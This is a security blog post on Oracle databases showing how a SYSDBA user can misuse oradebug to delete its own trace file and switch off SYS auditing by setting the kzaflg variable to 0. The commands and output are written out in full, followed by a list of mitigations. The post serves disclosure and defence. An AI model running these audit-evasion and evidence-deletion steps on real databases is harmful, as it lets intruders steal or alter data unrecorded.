Pete Finnigan's Oracle Security Weblog

Alex commented on my post about "oradebug" about the select statement on x$ksmfsv which holds a list of all fixed variables amongst other things and joined it to x$ksmmem to get the absolute address in the SGA to check the value of the audit_sys_operations flag but this is not needed as the dumpvar command of oradebug can be used to get the value without any SQL. I also had a little play with the oradebug "call" command this evening after working and decided to think about Laszlo's idea of monitoring the generated trace files to see if oradebug is used.

Whilst we cannot bypass at least two calls to oradebug (the setting of the PID and delete of the trace) that will end up in a trace file we can ensure that evidence generated by oradebug is not generated so that it cannot be monitored - I am thinking like a hacker now not a protector because i want to understand the size of the issue.

So we can start a session:

SQL> oradebug setmypid
Statement processed.
SQL> oradebug tracefile_name
c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc
SQL> oradebug close_trace
Statement processed.
SQL> oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc"
Function returned 0
SQL>

This now has removed the trace so we can turn audit off

SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000001
SQL> oradebug setvar sga kzaflg 0
BEFORE: [6995874, 6995878) = 00000001
AFTER: [6995874, 6995878) = 00000000
SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000000
SQL>

Now you can steal data, change data or whatever and nothing is recorded to trace including the above commands. This has utilised extra oradebug commands, "oradebug tracefile_name", "oradebug call" and potentially you could also use "oradebug flush" to make sure that the server does not retain any output and write it to the next session.

This means that whilst Laszlo's tool may trap the initial "oradebug setmypdi" and the "oradebug tracefile_name" and "oradebug call" it cannot trap any subsequent calls to turn off audit or anything else that the attacker may do with oradebug and of course SYSDBA trace is off.

The only solutions seem to be:

1) disable oradebug - this needs Oracles help but maybe there is an undocumented way to unlink the interface?
2) audit is not possible; trace is not reliable as stated above
3) stop any user from having SYSDBA apart from SYS
4) stop operating system users from having OSDBA apart from "oracle"
5) stop access to the server to prevent use of OSDBA/SYSDBA - not practical for everything
6) turn remote_login_passwordfile off to prevent remote SYSDBA via the password file
7) set an impossible password for SYS and only release it when needed.
8) force connections as SYSDBA to be remote so that network logging may be possible to capture oradebug commands
9) use keystroke loggers to capture what any OS user does as "oracle" and potentially SYSDBA

None of this is perfect and in lots of sites probably un-workable so a solution is needed from Oracle to secure oradebug. I think simply stopping audit from being disabled is probably not enough as the cat is out of the bag and other things will be done instead - like removing audit or trace with delete commands......